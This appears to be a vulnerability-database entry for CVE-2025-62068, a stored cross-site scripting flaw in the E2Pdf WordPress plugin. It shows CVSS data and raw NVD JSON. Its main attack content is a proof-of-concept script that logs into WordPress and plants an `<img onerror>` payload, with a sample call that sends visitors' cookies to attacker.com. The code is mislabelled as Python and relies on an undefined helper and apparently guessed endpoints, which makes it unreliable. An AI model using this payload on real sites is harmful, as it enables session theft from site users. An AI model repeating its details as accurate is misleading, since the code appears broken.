Security Vulnerability Report
中文
CVE-2025-62068 CVSS 6.5 MEDIUM

CVE-2025-62068

Published: 2025-10-22 15:16:06
Last Modified: 2026-01-21 21:03:24

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in E2Pdf e2pdf e2pdf.This issue affects e2pdf: from n/a through <= 1.28.09.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:e2pdf:e2pdf:*:*:*:*:*:wordpress:*:* - VULNERABLE
E2Pdf e2pdf插件 <= 1.28.09

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62068 PoC - Stored XSS in E2Pdf Plugin // Target: WordPress site with E2Pdf plugin <= 1.28.09 const axios = require('axios'); const cheerio = require('cheerio'); async function exploit(targetUrl, username, password, maliciousScript) { const session = axios.create({ baseURL: targetUrl }); // Step 1: Login to WordPress const loginPage = await session.get('/wp-login.php'); const $ = cheerio.load(loginPage.data); const nonce = $('input[name="_wpnonce"]').val(); await session.post('/wp-login.php', new URLSearchParams({ 'log': username, 'pwd': password, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': '/wp-admin/' }), { maxRedirects: 0 }).catch(e => {}); // Step 2: Inject malicious XSS payload into E2Pdf input field const xssPayload = `<img src=x onerror="${maliciousScript}">`; await session.post('/wp-admin/admin.php?page=e2pdf', new URLSearchParams({ 'e2pdf-action': 'save', 'e2pdf-title': 'Malicious Form', 'e2pdf-content': xssPayload, '_wpnonce': await getNonce(session) })); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when victim visits the page'); } exploit('https://target-site.com', 'attacker', 'password', 'fetch("https://attacker.com/steal?c="+document.cookie)')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62068", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:05.590", "lastModified": "2026-01-21T21:03:23.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in E2Pdf e2pdf e2pdf.This issue affects e2pdf: from n/a through <= 1.28.09."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:e2pdf:e2pdf:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.28.10", "matchCriteriaId": "FC7FDCF8-48EB-484E-9C48-3E4B41AE8626"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/e2pdf/vulnerability/wordpress-e2pdf-plugin-1-28-09-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}